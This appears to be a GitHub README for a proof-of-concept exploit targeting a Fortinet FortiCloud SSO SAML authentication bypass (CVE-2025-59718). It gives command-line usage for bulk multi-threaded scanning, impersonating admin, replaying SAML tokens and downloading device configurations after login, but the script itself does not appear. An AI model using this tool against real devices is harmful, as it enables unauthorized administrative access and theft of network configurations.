exfil0/cve-2025-59718-pocFortinet announced two closely related authentication‑bypass vulnerabilities on 9 December 2025. Both flaws involve improper verification of cryptographic signatures (CWE‑347) in the handling of SAML responses for the FortiCloud SSO login feature.
This tool is a proof-of-concept (PoC) exploit script for CVE-2025-59718, a critical authentication bypass vulnerability in Fortinet products (e.g., FortiOS, FortiProxy, FortiSwitchManager) due to improper verification of cryptographic signatures in SAML messages for FortiCloud SSO. The vulnerability allows unauthenticated remote attackers to bypass authentication and gain administrative access by crafting and submitting an unsigned SAML response.
Important Note: This script is intended for educational, research, and authorized testing purposes only. Unauthorized use against systems without explicit permission is illegal and unethical. Always comply with applicable laws and obtain proper authorization before testing.
The script supports single or bulk target scanning, optional proxy usage, SAML token replay and session hijacking simulations, and post-authentication actions like configuration file downloads. It uses multi-threading for efficiency and logs results to files for analysis.
config system global
set admin-forticloud-sso-login disable
end
pip:
pip install requests argparse
exploit.py).pip install -r requirements.txt
requirements.txt with: requests and argparse if needed.)chmod +x exploit.py
Run the script with Python:
python exploit.py [options]
--target <IP/hostname>: Single target to scan (e.g., 192.168.1.1 or example.com).--targets <comma-separated list>: Multiple targets (e.g., 192.168.1.1,example.com).--file <path>: File with one target per line.--username <name>: Username to impersonate in SAML payload (default: admin).--endpoint <path>: SAML login endpoint (default: /remote/saml/login).--max-threads <int>: Maximum concurrent threads (default: 10; max recommended: 50).--saml-token <token>: Base64-encoded SAML token for replay/hijacking (optional).--proxy <url>: Proxy URL (e.g., http://127.0.0.1:8080).--post-auth-config: Enable post-authentication config download (flag; disabled by default).--vulnerable-file <path>: File to save vulnerable targets (default: vulnerable_targets.txt).--output-file <path>: CSV file for attack reports (default: attack_report.csv).Note: If no target options are provided, the script will exit with an error.
Single Target Scan:
python exploit.py --target 192.168.1.1 --username admin --proxy http://127.0.0.1:8080
Scans a single device, impersonating admin, via a local proxy.
Bulk Scan from List:
python exploit.py --targets 192.168.1.1,example.com --max-threads 20 --post-auth-config
Scans multiple targets in parallel, enables config download on success.
File-Based Scan with Token Replay:
python exploit.py --file targets.txt --saml-token <base64_token> --endpoint /custom/saml
Processes targets from targets.txt, attempts token replay/hijacking.
Non-Interactive Full Scan:
python exploit.py --file targets.txt --username superadmin --max-threads 15 --post-auth-config --output-file results.csv
Custom username, high threads, config download, custom output.
/api/v2/monitor/system/config/backup.Example CSV Row:
Target,Username,Attack Type,Result,Status Code
https://192.168.1.1,admin,Config Download,Success,200
--proxy for debugging.requests and argparse are installed.--max-threads if resource limits are hit.This is a PoC; contributions for improvements (e.g., better detection, additional features) are welcome via pull requests. Focus on safety and ethics.
Last Updated: December 22, 2025